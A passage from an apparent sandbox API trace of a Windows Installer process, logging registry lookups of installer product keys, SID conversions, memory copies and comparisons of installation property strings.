_Buffer="Products\\8F3854CA4966E374BB7723DCCFB99A04\\InstallProperties") returned 59 [0121.206] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.206] GetCurrentThreadId () returned 0xf50 [0121.206] GetCurrentThreadId () returned 0xf50 [0121.206] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0121.206] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ccfb0, TokenInformationLength=0x58, ReturnLength=0x10ccfa0 | out: TokenInformation=0x10ccfb0, ReturnLength=0x10ccfa0) returned 1 [0121.206] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cd090, pSourceSid=0x10ccfc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cd090*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0121.206] ConvertSidToStringSidW (in: Sid=0x10cd090*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cd070 | out: StringSid=0x10cd070*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0121.206] LocalFree (hMem=0x330500) returned 0x0 [0121.206] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.206] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0121.206] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cd4b0 | out: phkResult=0x10cd4b0*=0x0) returned 0x2 [0121.207] GetCurrentThreadId () returned 0xf50 [0121.207] GetCurrentThreadId () returned 0xf50 [0121.207] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0121.207] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ccfb0, TokenInformationLength=0x58, ReturnLength=0x10ccfa0 | out: TokenInformation=0x10ccfb0, ReturnLength=0x10ccfa0) returned 1 [0121.207] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cd090, pSourceSid=0x10ccfc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cd090*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0121.207] ConvertSidToStringSidW (in: Sid=0x10cd090*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cd070 | out: StringSid=0x10cd070*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0121.207] LocalFree (hMem=0x330180) returned 0x0 [0121.207] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.207] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0121.207] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cd4b0 | out: phkResult=0x10cd4b0*=0x0) returned 0x2 [0121.207] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.207] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0121.207] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cd4b0 | out: phkResult=0x10cd4b0*=0x0) returned 0x2 [0121.207] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.208] GetCurrentThreadId () returned 0xf50 [0121.208] GetCurrentThreadId () returned 0xf50 [0121.208] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0121.208] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cdda0, TokenInformationLength=0x58, ReturnLength=0x10cdd90 | out: TokenInformation=0x10cdda0, ReturnLength=0x10cdd90) returned 1 [0121.208] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cde80, pSourceSid=0x10cddb0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cde80*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0121.208] ConvertSidToStringSidW (in: Sid=0x10cde80*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cde60 | out: StringSid=0x10cde60*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0121.208] LocalFree (hMem=0x330500) returned 0x0 [0121.208] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.208] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0121.208] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce3e0 | out: phkResult=0x10ce3e0*=0x0) returned 0x2 [0121.208] GetCurrentThreadId () returned 0xf50 [0121.208] GetCurrentThreadId () returned 0xf50 [0121.208] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0121.208] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cdda0, TokenInformationLength=0x58, ReturnLength=0x10cdd90 | out: TokenInformation=0x10cdda0, ReturnLength=0x10cdd90) returned 1 [0121.209] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cde80, pSourceSid=0x10cddb0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cde80*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0121.209] ConvertSidToStringSidW (in: Sid=0x10cde80*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cde60 | out: StringSid=0x10cde60*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0121.209] LocalFree (hMem=0x330180) returned 0x0 [0121.209] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.209] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0121.209] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce3e0 | out: phkResult=0x10ce3e0*=0x0) returned 0x2 [0121.209] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.209] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0121.209] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce3e0 | out: phkResult=0x10ce3e0*=0x0) returned 0x2 [0121.209] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0121.209] _vsnwprintf (in: _Buffer=0x10ce5b0, _BufferCount=0x103, _Format="%s\\%s\\%s", _ArgList=0x10ce588 | out: _Buffer="Products\\8F3854CA4966E374BB7723DCCFB99A04\\InstallProperties") returned 59 [0121.209] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cde08 | out: phkResult=0x10cde08*=0x1d8) returned 0x0 [0121.209] RegEnumKeyExW (in: hKey=0x1d8, dwIndex=0x0, lpName=0x10cde50, lpcchName=0x10cde00, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="S-1-5-18", lpcchName=0x10cde00, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.209] RegCloseKey (hKey=0x1d8) returned 0x0 [0121.210] _vsnwprintf (in: _Buffer=0x10cd5b0, _BufferCount=0x13d, _Format="%s\\%s", _ArgList=0x10cd558 | out: _Buffer="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18") returned 69 [0121.210] _vsnwprintf (in: _Buffer=0x10cd840, _BufferCount=0x3ff, _Format="%s\\%s", _ArgList=0x10cd558 | out: _Buffer="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\8F3854CA4966E374BB7723DCCFB99A04\\InstallProperties") returned 129 [0121.210] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\8F3854CA4966E374BB7723DCCFB99A04\\InstallProperties", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce908 | out: phkResult=0x10ce908*=0x0) returned 0x2 [0121.210] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0121.210] _vsnwprintf (in: _Buffer=0x10ce5b0, _BufferCount=0x103, _Format="%s\\%s\\%s", _ArgList=0x10ce588 | out: _Buffer="Products\\8F3854CA4966E374BB7723DCCFB99A04\\InstallProperties") returned 59 [0121.210] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cde08 | out: phkResult=0x10cde08*=0x1d8) returned 0x0 [0121.210] RegEnumKeyExW (in: hKey=0x1d8, dwIndex=0x1, lpName=0x10cde50, lpcchName=0x10cde00, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="S-1-5-18", lpcchName=0x10cde00, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0121.210] RegCloseKey (hKey=0x1d8) returned 0x0 [0121.210] lstrlenW (lpString="REMOVE") returned 6 [0121.210] memcpy (in: _Dst=0x3c0a80, _Src=0x33cfe0, _Size=0x20 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.210] lstrlenW (lpString="[~~~]") returned 5 [0121.210] lstrlenW (lpString="[~~~]") returned 5 [0121.210] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ACTION=INSTALL", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0121.210] memcpy (in: _Dst=0x330190, _Src=0x33d004, _Size=0x50 | out: _Dst=0x330190) returned 0x330190 [0121.211] memcpy (in: _Dst=0x3c0a80, _Src=0x33d058, _Size=0x12 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.211] memcpy (in: _Dst=0x35aaa0, _Src=0x33d06e, _Size=0x6 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0121.211] memcpy (in: _Dst=0x35aaa0, _Src=0x33d078, _Size=0x10 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0121.211] memcpy (in: _Dst=0x35ab00, _Src=0x33d08c, _Size=0xe | out: _Dst=0x35ab00) returned 0x35ab00 [0121.211] memcpy (in: _Dst=0x3c0a80, _Src=0x33d09e, _Size=0x20 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.211] memcpy (in: _Dst=0x2104850, _Src=0x33d0c2, _Size=0x26 | out: _Dst=0x2104850) returned 0x2104850 [0121.211] memcpy (in: _Dst=0x3c0a80, _Src=0x33d0ec, _Size=0x1a | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.211] memcpy (in: _Dst=0x35aaa0, _Src=0x33d10a, _Size=0x2 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0121.211] memcpy (in: _Dst=0x3c0a80, _Src=0x33d110, _Size=0x1e | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.211] memcpy (in: _Dst=0x35aaa0, _Src=0x33d132, _Size=0x8 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0121.211] memcpy (in: _Dst=0x3c0a80, _Src=0x33d13e, _Size=0x16 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.211] memcpy (in: _Dst=0x2104850, _Src=0x33d158, _Size=0x26 | out: _Dst=0x2104850) returned 0x2104850 [0121.211] memcpy (in: _Dst=0x3c0a80, _Src=0x33d182, _Size=0x12 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.212] memcpy (in: _Dst=0x3399f0, _Src=0x33d198, _Size=0x34 | out: _Dst=0x3399f0) returned 0x3399f0 [0121.212] memcpy (in: _Dst=0x3c0a80, _Src=0x33d1d0, _Size=0x12 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.212] memcpy (in: _Dst=0x35aaa0, _Src=0x33d1e6, _Size=0x6 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0121.212] memcpy (in: _Dst=0x3c0a80, _Src=0x33d1f0, _Size=0x1a | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.212] memcpy (in: _Dst=0x35aaa0, _Src=0x33d20e, _Size=0xe | out: _Dst=0x35aaa0) returned 0x35aaa0 [0121.212] memcpy (in: _Dst=0x35aaa0, _Src=0x33d220, _Size=0xc | out: _Dst=0x35aaa0) returned 0x35aaa0 [0121.212] memcpy (in: _Dst=0x35ab00, _Src=0x33d230, _Size=0xe | out: _Dst=0x35ab00) returned 0x35ab00 [0121.212] memcpy (in: _Dst=0x3c0a80, _Src=0x33d242, _Size=0x18 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.212] memcpy (in: _Dst=0x35aaa0, _Src=0x33d25e, _Size=0x2 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0121.212] memcpy (in: _Dst=0x3c0a80, _Src=0x33d264, _Size=0x1c | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.212] memcpy (in: _Dst=0x35aaa0, _Src=0x33d284, _Size=0x2 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0121.212] memcpy (in: _Dst=0x35aaa0, _Src=0x33d28c, _Size=0x10 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0121.212] memcpy (in: _Dst=0x3c0a80, _Src=0x33d29e, _Size=0x1c | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.212] memcpy (in: _Dst=0x35aaa0, _Src=0x33d2c0, _Size=0xc | out: _Dst=0x35aaa0) returned 0x35aaa0 [0121.213] memcpy (in: _Dst=0x35ab00, _Src=0x33d2ce, _Size=0xe | out: _Dst=0x35ab00) returned 0x35ab00 [0121.213] lstrlenW (lpString="CLIENTUILEVEL") returned 13 [0121.213] memcpy (in: _Dst=0x3c0ac0, _Src=0x33cfe0, _Size=0x20 | out: _Dst=0x3c0ac0) returned 0x3c0ac0 [0121.213] lstrlenW (lpString="[~~~]") returned 5 [0121.213] lstrlenW (lpString="[~~~]") returned 5 [0121.213] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ACTION=INSTALL", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0121.213] memcpy (in: _Dst=0x330190, _Src=0x33d004, _Size=0x50 | out: _Dst=0x330190) returned 0x330190 [0121.213] memcpy (in: _Dst=0x3c0ac0, _Src=0x33d058, _Size=0x12 | out: _Dst=0x3c0ac0) returned 0x3c0ac0 [0121.213] memcpy (in: _Dst=0x35aaa0, _Src=0x33d06e, _Size=0x6 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0121.213] memcpy (in: _Dst=0x35aaa0, _Src=0x33d078, _Size=0x10 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0121.213] memcpy (in: _Dst=0x35ab00, _Src=0x33d08c, _Size=0xe | out: _Dst=0x35ab00) returned 0x35ab00 [0121.213] memcpy (in: _Dst=0x3c0ac0, _Src=0x33d09e, _Size=0x20 | out: _Dst=0x3c0ac0) returned 0x3c0ac0 [0121.213] memcpy (in: _Dst=0x2104850, _Src=0x33d0c2, _Size=0x26 | out: _Dst=0x2104850) returned 0x2104850 [0121.213] memcpy (in: _Dst=0x3c0ac0, _Src=0x33d0ec, _Size=0x1a | out: _Dst=0x3c0ac0) returned 0x3c0ac0 [0121.213] memcpy (in: _Dst=0x35aaa0, _Src=0x33d10a, _Size=0x2 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0121.213] memcpy (in: _Dst=0x3c0ac0, _Src=0x33d110, _Size=0x1e | out: _Dst=0x3c0ac0) returned 0x3c0ac0 [0121.213] memcpy (in: _Dst=0x35ab00, _Src=0x33d132, _Size=0x8 | out: _Dst=0x35ab00) returned 0x35ab00 [0121.214] memcpy (in: _Dst=0x3c0ac0, _Src=0x33d13e, _Size=0x16 | out: _Dst=0x3c0ac0) returned 0x3c0ac0 [0121.214] memcpy (in: _Dst=0x2104850, _Src=0x33d158, _Size=0x26 | out: _Dst=0x2104850) returned 0x2104850 [0121.214] memcpy (in: _Dst=0x3c0ac0, _Src=0x33d182, _Size=0x12 | out: _Dst=0x3c0ac0) returned 0x3c0ac0 [0121.214] memcpy (in: _Dst=0x3399f0, _Src=0x33d198, _Size=0x34 | out: _Dst=0x3399f0) returned 0x3399f0 [0121.214] memcpy (in: _Dst=0x3c0ac0, _Src=0x33d1d0, _Size=0x12 | out: _Dst=0x3c0ac0) returned 0x3c0ac0 [0121.214] memcpy (in: _Dst=0x35ab00, _Src=0x33d1e6, _Size=0x6 | out: _Dst=0x35ab00) returned 0x35ab00 [0121.214] memcpy (in: _Dst=0x3c0ac0, _Src=0x33d1f0, _Size=0x1a | out: _Dst=0x3c0ac0) returned 0x3c0ac0 [0121.214] memcpy (in: _Dst=0x35ab00, _Src=0x33d20e, _Size=0xe | out: _Dst=0x35ab00) returned 0x35ab00 [0121.214] memcpy (in: _Dst=0x35ab00, _Src=0x33d220, _Size=0xc | out: _Dst=0x35ab00) returned 0x35ab00 [0121.214] memcpy (in: _Dst=0x35ab30, _Src=0x33d230, _Size=0xe | out: _Dst=0x35ab30) returned 0x35ab30 [0121.214] memcpy (in: _Dst=0x3c0ac0, _Src=0x33d242, _Size=0x18 | out: _Dst=0x3c0ac0) returned 0x3c0ac0 [0121.214] memcpy (in: _Dst=0x35ab00, _Src=0x33d25e, _Size=0x2 | out: _Dst=0x35ab00) returned 0x35ab00 [0121.214] memcpy (in: _Dst=0x3c0ac0, _Src=0x33d264, _Size=0x1c | out: _Dst=0x3c0ac0) returned 0x3c0ac0 [0121.214] memcpy (in: _Dst=0x35ab00, _Src=0x33d284, _Size=0x2 | out: _Dst=0x35ab00) returned 0x35ab00 [0121.214] memcpy (in: _Dst=0x35ab00, _Src=0x33d28c, _Size=0x10 | out: _Dst=0x35ab00) returned 0x35ab00 [0121.214] memcpy (in: _Dst=0x3c0ac0, _Src=0x33d29e, _Size=0x1c | out: _Dst=0x3c0ac0) returned 0x3c0ac0 [0121.214] memcpy (in: _Dst=0x35ab00, _Src=0x33d2c0, _Size=0xc | out: _Dst=0x35ab00) returned 0x35ab00 [0121.214] memcpy (in: _Dst=0x35ab30, _Src=0x33d2ce, _Size=0xe | out: _Dst=0x35ab30) returned 0x35ab30 [0121.214] SetLastError (dwErrCode=0x0) [0121.215] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0121.215] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0121.215] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.215] GetCurrentThreadId () returned 0xf50 [0121.215] GetCurrentThreadId () returned 0xf50 [0121.215] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0121.215] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cdde0, TokenInformationLength=0x58, ReturnLength=0x10cddd0 | out: TokenInformation=0x10cdde0, ReturnLength=0x10cddd0) returned 1 [0121.215] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cdec0, pSourceSid=0x10cddf0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cdec0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0121.215] ConvertSidToStringSidW (in: Sid=0x10cdec0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cdea0 | out: StringSid=0x10cdea0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0121.215] LocalFree (hMem=0x330500) returned 0x0 [0121.216] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.216] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0121.216] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce4a8 | out: phkResult=0x10ce4a8*=0x0) returned 0x2 [0121.216] GetCurrentThreadId () returned 0xf50 [0121.216] GetCurrentThreadId () returned 0xf50 [0121.216] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0121.216] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cdde0, TokenInformationLength=0x58, ReturnLength=0x10cddd0 | out: TokenInformation=0x10cdde0, ReturnLength=0x10cddd0) returned 1 [0121.216] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cdec0, pSourceSid=0x10cddf0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cdec0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0121.216] ConvertSidToStringSidW (in: Sid=0x10cdec0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cdea0 | out: StringSid=0x10cdea0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0121.216] LocalFree (hMem=0x330180) returned 0x0 [0121.216] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.216] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0121.216] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce4a8 | out: phkResult=0x10ce4a8*=0x0) returned 0x2 [0121.216] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.216] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0121.216] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce4a8 | out: phkResult=0x10ce4a8*=0x0) returned 0x2 [0121.217] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0121.217] _vsnwprintf (in: _Buffer=0x10cdca0, _BufferCount=0x103, _Format="%s\\%s\\%s", _ArgList=0x10cdc68 | out: _Buffer="Products\\8F3854CA4966E374BB7723DCCFB99A04\\InstallProperties") returned 59 [0121.217] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.217] GetCurrentThreadId () returned 0xf50 [0121.217] GetCurrentThreadId () returned 0xf50 [0121.217] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0121.217] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ccb50, TokenInformationLength=0x58, ReturnLength=0x10ccb40 | out: TokenInformation=0x10ccb50, ReturnLength=0x10ccb40) returned 1 [0121.217] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ccc30, pSourceSid=0x10ccb60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ccc30*(Revision=0x1, 